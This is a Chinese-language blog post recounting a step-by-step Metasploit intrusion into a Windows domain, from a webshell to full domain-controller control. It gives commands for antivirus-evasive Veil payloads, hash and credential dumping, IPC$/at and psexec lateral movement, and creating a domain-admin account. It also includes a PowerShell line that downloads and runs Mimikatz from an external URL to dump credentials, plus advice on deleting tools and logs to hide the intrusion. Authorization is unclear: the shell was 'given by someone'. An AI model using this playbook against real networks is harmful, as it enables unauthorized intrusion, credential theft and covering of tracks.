9、Metasploit域滲透測試全程實錄

FLy_鵬程萬里發表於2018-06-11

前期準備:


1. 使用Veil生成免殺PAYLOAD

2. 有一個外網IP的伺服器,安裝好metasploit,方便操作

一.Shell反彈meterpreter

上傳免殺的PAYLOAD到SHELL(有時候會碰到EXE檔案上傳不了,可以使用powershell的meterpreter模組“XX.bat格式”來實現),然後在菜刀或者WEBSHELL下面執行,反彈成功。

 

二.提權

反彈成功後第一步就是getuid看許可權,然後嘗試提權,有以下幾種方法

1.利用漏洞模組提權,如ms15_05之類
2.令牌假冒
3.繞過Windows賬戶控制,比如Bypassuac提權
4.HASH攻擊
如果伺服器沒有提權成功也不要緊,可以以此伺服器為跳板,攻擊內網其它伺服器
 
好吧,我是system許可權,就不用提權了,直接抓HASH吧!
1.使用WCE和MIMIKATZ(這2個工具必須要管理員的許可權,而且注意工具的免殺)
2.使用MSF的hashdump模組,一個是hashdump,只能匯出本地hash,另一個是smart_hashdump(必須是管理員許可權),可以匯出域使用者的hash
3.使用Powershell模組直接匯出


 

三.資訊收集

1.ipconfig /all
2.net view /domain                                         檢視有幾個域
3.net view /domain:XXX                                  檢視此域內電腦
4.net group /domain                                       查詢域裡面的組
5.net group “domain admins” /domain        檢視域管理員
6.net group “domain controllers” /domain     檢視域控制器
7.net group “enterprise admins” /domain      檢視企業管理組
其他還有很多,網上可以一搜一大把,大家可以都試試

 
 
 
 
此時我們大概清楚了該內網的大概拓撲,知道域伺服器是10.48.128.20

四.分析下一步攻擊方向

分析下此時情況,我們已經獲取了一個伺服器的密碼。我們第一目標當然是域伺服器,此時有兩種情況,當前伺服器可以連線域伺服器和不可以連線域伺服器

A.如果不能直接攻擊域伺服器,我們需要再攻擊內網某個伺服器,然後再攻擊域伺服器

1.我們可以利用抓到的密碼加上我們收集的資訊編個字典,然後新增路由進行弱口令的掃描
2.使用p**ec爆破整個區域網或者反彈meterpreter
3.利用smb_login模組掃描內網
4.利用當前許可權,用WIN下面的P**ec進行內網滲透
5.使用powershell對內網進行掃描(要求WIN7以上伺服器)
6.架設socks4a,然後進行內網掃描
7.利用當前許可權,進行內網IPC$滲透
B.可以直接攻擊域伺服器

五. 攻擊域伺服器

我們這次是可以直接攻擊域伺服器的,所以我們用最簡單的方法IPC$滲透先試試

 
失敗了
我們再用WIN下面的P**ec試試

 
又失敗了,不應該啊,我們再仔細分析下,加上域名試試
 
看,成功了,我們net use可以看到已經成功連線上了
Net use \\ip\c$
Copy sd.exe \\ip\c$  (其中sd.exe是VEIL生成的meterpreter)
Net time \\ip
At \\ip time c:\sd.exe

具體看截圖


 
然後exit到meterpreter,設定meterpreter>background,
設定監聽,等待反彈

 
可以看到,已經反彈成功了,我們看下IP地址是不是域伺服器的
 
我們已經成功的獲取了域伺服器的meterpreter,看下許可權getuid
 
好吧,我們是system許可權,就不用提權了,為了使meterpreter shell更穩定和更隱蔽,先把meterpreter shell程式程式遷移到EXPLORE程式
PS 獲取一系列的執行程式,使用migrate PID ,然後KILL掉原來的程式


 
我們接下來抓HASH,可以用Mimikatz也可以用run post/windows/gather/hashdump
PS:我們在用Mimikatz抓HASH之前要注意一點,如果伺服器是安裝的64位作業系統,要把Mimikatz程式遷移到一個64位的程式程式中,才能檢視64位系統密碼明文。32位系統沒有這個限制,都可以檢視系統密碼.
這裡為了方便,我們使用hashdump來抓hash,run post/windows/gather/hashdump        

 

失敗了,許可權不夠,我們看下自己的許可權,因為剛才遷移PAYLOAD程式時候,EXPLOR是administrator許可權,我們getsystem,再抓,見圖,成功了


 

六.SMB快速擴張控制許可權

參照第4步,這裡我們使用p**ec爆破內網或者利用smb_login模組爆破內網
1.msf 新增路由 route add ip mask sessionid
2.smb_login模組或者p**ec_scanner模組

 

檢視爆破成功的機器 creds
 
最後我們看一下session控制圖
 

七.擦PP

所有操作完成後,一定要記得清理下痕跡
1.刪除所有使用的工具
2.刪除所有操作記錄
3.關閉所有的meterpreter


 

小結

內網滲透測試資料基本上都是很多大牛的文章告訴我們思路如何,但是對於我等小菜一直是雲裡霧裡。於是使用什麼樣的工具才內網才能暢通無阻,成了大家一直以來的渴求。今天小菜我本著所有師傅們無私分享的精神,特將三年內求師傅,求妹子,求神器所得,經過整理後,關鍵的知識點寫出來。相關知識點總結如下:

  • 免殺payload的生成,請使用Veil
  • msf在meterpreter下的提權嘗試
  • msf在meterpreter下的bypassuac嘗試
  • 內網滲透測試過程中的資訊關聯
  • meterpreter的路由新增以及相關掃描
  • Powershell在meterpreter下面的使用
  • Meterpreter的post模組使用
  • Msf的custom自己生成的payload的使用
  • 程式注入竊取令牌

其實重點不在於知識的多少,大家只需關注比較重點的連線點。分享為了方便大家以後一起交流,一起學習,一起進步。首先shell是別人給我的,也不是這裡介紹的重點,所以在此忽略。

滲透測試的環境詳細如下:
A 堡壘機(webshell所在機器):windows server 2012
B 堡壘機:windows 2008(powershell掃描機器)
C 堡壘機:有域管理程式的機器windows server 2012
D 堡壘機若干


第八步 Poershell獲取域控管理員線上的機器

內網滲透測試不得不說到兩大神器:msf和powershell,但是看大家基本上都是分開來使用的,或者說大家在一次滲透測試的過程中很少遇到,今天作為讀者的你有福了。

首先來講講powershell的在內網滲透測試中不僅能掃,能爆,能轉發,當然還能做更多的事情,一般使用到的模組有下面三個:
1 Empire據說是神器,也確實是神器,我沒使用過,暫時不多說
2 PowerUp 據說提權神器,也確實是神器,我很少使用。也暫時不多說
3 PowerView 據說是域滲透神器,也確實是神器,我一直用,非常漂亮

來說說powershell的使用,其實也很簡單,只是大家在用的過程中一般沒有太多的注意,主要有三種方式來呼叫:

1 當然是下載到本地執行,詳細使用方法如後面連線:powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

2 第二種方式是把powershell檔案上傳到堡壘機本地執行,  powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"

3 上傳到對方本地,然後Import-Module匯入,使用

PowerView的所有模組使用其實很簡單,直接呼叫方法,大家看看下面的圖就知道了。如果你能看到這裡開始你的powershell之旅,內網將開始變得簡單。

 
廢話講了這麼多,下面開始我們的實戰,其實很簡單,我真的想說很簡單,簡單到一句話搞定。Powerview中的Invoke-UserHunter是獲取當前域管理員線上登入的機器。這次的旅程我們就用它來完成進一步的資訊獲取。詳細如下圖:

 

第九步 域控管理員許可權的獲取(windows2012許可權)

在經過第八步之後,身為讀者的你是不是感覺這次收穫有一點點,內網域滲透測試再也不是那麼一籌莫展了呢。神器過後還是神器,又見它windows server 2012,雖然域管理線上,但是我們的抓密碼神器陽痿了,總不能修改登錄檔,等管理員再次登入吧。

目前來看看我們遇到的問題,通過powershell成功獲取到相關的域控管理員線上的一臺機器windows server 2012,並且用這臺機器的許可權,那麼接下來我們去搞定域控。思路如下:
1 修改登錄檔等待域控管理員再次登入來抓取(黃花菜都會涼的)
2 通過PowerUp的程式來注入獲取域許可權(沒使用過暫時放棄),當然此處也可以寫類似外掛的功能注入程式獲取許可權
3 msf的令牌竊取功能(這個可以很容易實現)

知道思路,那麼接下來就開始我們愉快的旅程吧。我要求師傅,求妹子,求神器,專業求到域控去:
1 同樣使用ipc經典入侵手法,反彈meterpreter,
    Getsysttem 許可權
    Ps 檢視域管理所在的程式
    Migrate pid注入程式
2 繼續經典的IPC$到域控
    Meterpreter下面shell
    Net use \\域控ip\c$
    Net time \\域控ip
    Copy bat.bat \\域控ip\c$
    At \\域控ip time c:\bat.bat(意料之外的錯誤,提示schtasks.exe,不熟)
3 通往成功的路不只有一條,新增域管賬戶
    Net user demo demo /ad /domain
    Net group “domain admins” demo /ad /domain

    到了此刻,我們已經擁有域管許可權了。詳細的截圖如下:

 

圖9-1 注入域管程式,連線域控

 

圖9-2 新增域管理賬號


圖9-3 檢視域管理是否成功

第十步 域控我來了(msf p**ec反彈shell)

一看時間,凌晨七點了,早上的太陽要升起來了。此時此刻你的心情是怎麼樣呢。該晨起跑步了吧。東方的太陽就要升起了,域控的許可權也終於到了了。
先將思路,登入域控其實有很多方式的,下面我說一下我能知道的幾種吧,相信大
家也大家也都知道的:
1 埠轉發或者socks登入域控遠端桌面
2 登入對方內網的一臺電腦使用p**ec來反彈shell
3 使用msf的p**ec反彈meterpreter

反彈需要注意要用到的知識,我們這裡採用的是pse**c來反彈meterpreter,其中涉及到的知識如下:
1 msf中p**ec模組的使用
2 cuestom模組的使用,配合meterpreter,在payload不免殺的情況下如何使用自己Veil生成的payload
詳細的使用過程如下圖:

 
圖10-1 p**ec執行測試

 
圖10-2  p**ec預設反彈不成功

 
圖10-3 meterpreter的https模組反彈成功

 
圖10-4 域控的系統資訊

第十一步 Meterpreter獲取所有使用者的hash

有了域的許可權之後,如果我們還想進行深層次的控制,那麼dumphash是必不可少的。首先來看看我們需要的知識:
1 msf有兩個模組可以使用,一個是hashdump,此模組只能匯出本地的hash,大家測試就可以知道了,另外一個是smart_hashdump,此模組可以用來匯出域使用者的hash.
2 powershell有可以直接匯出的模組,大家自行嘗試一下
3 wce,mimikatz等神器的使用

在這裡我採用的是msf的smart_hashdump的模組。在此需要注意的是要想使使用此模組匯出hash,必須要使用system的許可權才行。詳細的過程如下圖:


 
smart_hashdump模組的使用

第十二步 曲折的探索之路

這裡是整理一下之前用到的一些技術,和走過的一些彎路。文件到這差不多算是完成了一個從webshell到域控的探索之路算是完成了,當然在這裡我把過程中走的一些彎路還有不足點指出來,歡迎大家的指正,共同學習

 
圖12-1 session控制圖
根據上面的圖知道,我現在控制的Session一共有5個,其中有四個是必須要獲取的,分別為session1,session2 session4,session5。其中session1為webshell反彈所獲得,第二個session2是資訊分析獲取到的,,session4為獲取域管理員所獲取,session5為域。其中session3就是我所走過的彎路,浪費了時間。之後我們必須為了更好更快速有效的完成滲透測試,平時努力練劍。盡力做到不出劍則已,出劍則見血。


第十三步 我輕輕的來了,我又輕輕的走了,管理員,再見(清理)

作為一次比較成功的友情測試,我們必須要做到來無影,去無蹤。所以收尾工作,也將悄悄展開。涉及到相關的知識點:
1 刪除之前新增的域管理賬號
2 刪除所有的使用過程中的工具
3 刪除自己所有的操作記錄
4 關閉所有的meterpreter

在此過程中我們一共上傳了兩個檔案,一個bar.bat,一個64位的mimikatz抓密碼工具,直接刪除即可。

 
圖13-1 刪除使用者

 

圖13-2 關閉所有的session

總結

總結說點什麼好呢。還是先喊口號吧------“求妹子,求師傅,求神器”。感謝三年多以來為我默默分享的師傅們,感謝妹子在我做這次友情測試的時候,她一直靜靜的陪在我這邊,感謝這些年求來的各種神器,沒有這些資源的支援,我將不會完成這次的友情測試。作為一名滲透測試愛好者,我們一直在努力的追求著心中那個美麗的夢想;作為一名程式設計師,我們就是想簡單的coding。人生如此美好,大家何不聯手,一起分享美好。

相關文章